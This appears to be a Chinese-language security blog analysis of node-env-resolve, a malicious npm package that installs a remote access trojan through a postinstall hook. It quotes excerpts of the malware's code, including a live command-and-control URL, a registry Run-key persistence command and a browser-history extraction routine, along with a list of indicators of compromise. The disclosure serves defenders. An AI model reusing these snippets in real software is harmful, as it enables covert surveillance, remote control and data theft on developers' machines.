目录
概述
node-env-resolve 是一个恶意 npm 包,它伪装成"轻量级环境配置解析器",实际上是一个完整的远程访问木马(RAT)。运行 npm install node-env-resolve 会将一个持久化代理复制到隐藏目录,注册为自启动服务,并连接到位于 hxxp://152.67.0.53:8471 的命令与控制服务器。此后,远程攻击者可以获取实时屏幕流、麦克风和系统音频捕获、完整的鼠标和键盘控制、浏览器历史记录访问以及受害者机器上的任意文件读写功能。该依赖项集合与 OtterCookie RAT 工具包相匹配,已在多个朝鲜"Contagious Interview"活动包中记录。
该包声称的功能
package.json 的描述为"适用于 Node.js 的轻量级环境配置解析器"。实际的源代码讲述了另一个故事:audioCapture.js、browserHistory.js、screenCapture.js、sleepPreventer.js、inputHandler.js。该包中没有任何环境解析逻辑。
维护者 user0001([email protected])在 8 天内(2026 年 4 月 25 日至 5 月 2 日)发布了 10 个版本,过去 30 天内有 1,293 次下载记录。同一个账户还发布了 connector-agent、node-gyp-runtime、centralogger、node-fetch-lite 和 dom-utils-lite。C2 IP 在 1.0.0 和 1.0.1 版本中是一个 localhost 占位符,从 1.0.2 版本开始切换到真实地址 152.67.0.53:8471。
释放器:postinstall.js
postinstall 钩子在安装时自动触发。它将完整的代理复制到一个以合法 node-gyp 工具链命名的隐藏目录中,静默安装依赖项,注册平台特定的持久化机制,然后立即启动代理:
const SERVER_URL = 'http://152.67.0.53:8471';
const AGENT_NAME = 'node-gyp-cache';
const INSTALL_DIR = isWin
? path.join(process.env.APPDATA, AGENT_NAME) // %APPDATA%\node-gyp-cache
: path.join(homeDir, '.node-gyp-cache'); // ~/.node-gyp-cache
// Copies src/, writes env.config.js with live C2 IP, runs npm install --production --silent
// Then registers autostart and spawns the agent detached在 Windows 上,持久化通过隐藏的 VBScript 启动器写入注册表 Run 键:
execSync(
\`reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /t REG_SZ /d "wscript.exe \\"${vbsPath}\\"" /f\`,
{ windowsHide: true, stdio: 'ignore' }
);如果失败,则回退机制将 ConnectorService.vbs 放入 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup。
在 macOS 上,它写入 ~/Library/LaunchAgents/com.user.connector.plist 并设置 KeepAlive: true。在 Linux 上,它写入 ~/.config/autostart/connector.desktop。所有这三个路径都不需要提升的权限。
有效载荷:代理的功能
代理(src/index.js)通过 Socket.IO 连接到 hxxp://152.67.0.53:8471/agent,具有无限重连机制(2 秒至 30 秒指数退避)。连接后,它使用稳定的 12 字符指纹向服务器注册:
const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
socket.emit('agent:register', { machineId: MACHINE_ID, ...systemInfo });
// systemInfo: hostname, username, os, ip, platform, cpus, totalMemory, uptime然后操作员通过套接字事件驱动代理。完整的功能集:
| 事件 | 操作 |
|---|---|
screen:start | 以高达 4 FPS 的 JPEG 压缩截图,作为 base64 流传输 |
mouse:move/click/scroll | 通过 @nut-tree-fork/nut-js 实现完整的鼠标控制 |
keyboard:type/key/combo | 完整的键盘输入注入 |
audio:start | 通过 ffmpeg 捕获麦克风或系统音频,作为原始 PCM 流传输 |
history:request | Chrome、Edge、Firefox SQLite 历史记录数据库(先将锁定的数据库复制到临时目录) |
files:list/read/download | 浏览文件系统,读取高达 500KB 的文本文件,下载高达 10MB 的二进制文件 |
file:write/delete | 在用户配置文件中远程写入和删除文件 |
folder:zip | 压缩并外泄高达 50MB 的整个文件夹 |
file:upload | 将任意文件从操作员推送到受害者 |
agent:kill | 移除所有持久化条目并退出 |
睡眠阻止器在启动时运行,并在会话期间持续活动。在 Windows 上,它运行一个隐藏的 PowerShell 循环,每 30 秒刷新一次光标位置。在 macOS 上,它调用 caffeinate -dimsu。在 Linux 上,它调用 systemd-inhibit。目的是在远程会话期间保持不间断的屏幕访问。
浏览器历史记录提取通过在查询前将 SQLite 数据库复制到临时路径来绕过文件锁定:
function copyToTemp(sourcePath, browserName) {
const tempPath = path.join(config.tempDir, \`connector_${browserName}_history_copy.db\`);
fs.copyFileSync(sourcePath, tempPath);
// also copies WAL file if present
return tempPath;
}这可以针对 Chrome、Edge 和 Firefox 配置文件中,无需浏览器处于关闭状态。
工具包归因:OtterCookie 特征
node-env-resolve 中的六个运行时依赖项形成一个已记录的特征。追踪 Contagious Interview 活动(朝鲜 DPRK/拉撒路集团关联的行动,通过虚假工作面试针对开发人员)的研究人员已确定这个精确组合为 OtterCookie RAT 工具包:
| 依赖项 | 作用 | OtterCookie 匹配 |
|---|---|---|
socket.io-client | C2 传输 | 是 |
screenshot-desktop | 屏幕捕获 | 是 |
sharp | 流式传输图像压缩 | 是 |
@nut-tree-fork/nut-js | 鼠标和键盘控制 | 是(记录为新变体添加) |
better-sqlite3 | 通过 SQLite 提取浏览器历史记录 | 是 |
node-machine-id | 稳定设备指纹 | 是 |
SafeDep 早期对 express-session-js 的分析,这是一个已确认的 Contagious Interview 包,发现了相同的工具包连接到不同的 C2 地址 216.126.237.71。《黑客新闻》2026 年 4 月记录的 DPRK 活动浪潮明确指出 @nut-tree-fork/nut-js 是新版 OtterCookie 变体中的能力升级,实现了超越早期版本中基本的屏幕截图和剪贴板盗窃的完整远程桌面交互。
C2 地址 152.67.0.53:8471 未出现在任何已发布的 Contagious Interview IOC 列表中。152.67.x.x IP 段属于 Oracle Cloud APAC。已记录的活动基础设施依赖于 RouterHosting(AS14956)、Vercel 部署和基于 Pastebin 的分阶段部署。仅凭静态分析,无法确定这是同一操作者的基础设施轮换还是另一个犯罪行为者重复使用了已发布的工具包。工具包匹配是精确的;对 DPRK 的具体归因评估为中等置信度。
node-env-resolve 添加了麦克风和系统音频捕获以及远程自卸载命令(agent:kill),这些功能未出现在已记录的 OtterCookie 报告中,表明正在基线活动工具之外进行积极开发。
危害指标
软件包(从 v1.0.2 起为恶意版本):
node-env-resolve版本 1.0.2 至 1.0.9
相关软件包(同一维护者 user0001):
connector-agent、node-gyp-runtime、centralogger、node-fetch-lite、dom-utils-lite
C2:
hxxp://152[.]67[.]0[.]53:8471(Socket.IO,命名空间/agent)
文件系统:
| 平台 | 路径 |
|---|---|
| Windows | %APPDATA%\node-gyp-cache\ |
| Windows | %APPDATA%\node-gyp-cache\launcher.vbs |
| Windows(回退) | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ConnectorService.vbs |
| macOS | ~/.node-gyp-cache/ |
| macOS | ~/Library/LaunchAgents/com.user.connector.plist |
| Linux | ~/.node-gyp-cache/ |
| Linux | ~/.config/autostart/connector.desktop |
| 所有平台(临时) | <tmpdir>/connector_{chrome,edge,firefox}_history_copy.db |
注册表(Windows):
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\node-gyp-cache
维护者:
- npm 用户名:
user0001 - 邮箱:
[email protected]
结论
node-env-resolve 是一个专门构建的 RAT 投递工具,没有任何合法功能。1.0.2 及之后任何版本都会在开发者的机器上安装持久化远程访问工具。该工具包与朝鲜 Contagious Interview 活动相关的 OtterCookie 家族直接匹配。截至撰写本文时,该软件包仍在 npm 注册表上保持活跃。
相关内容:
-
npm
-
oss
-
malware
-
supply-chain
-
rat
SafeDep 博客最新内容
关注以获取开源安全与工程的最新更新和见解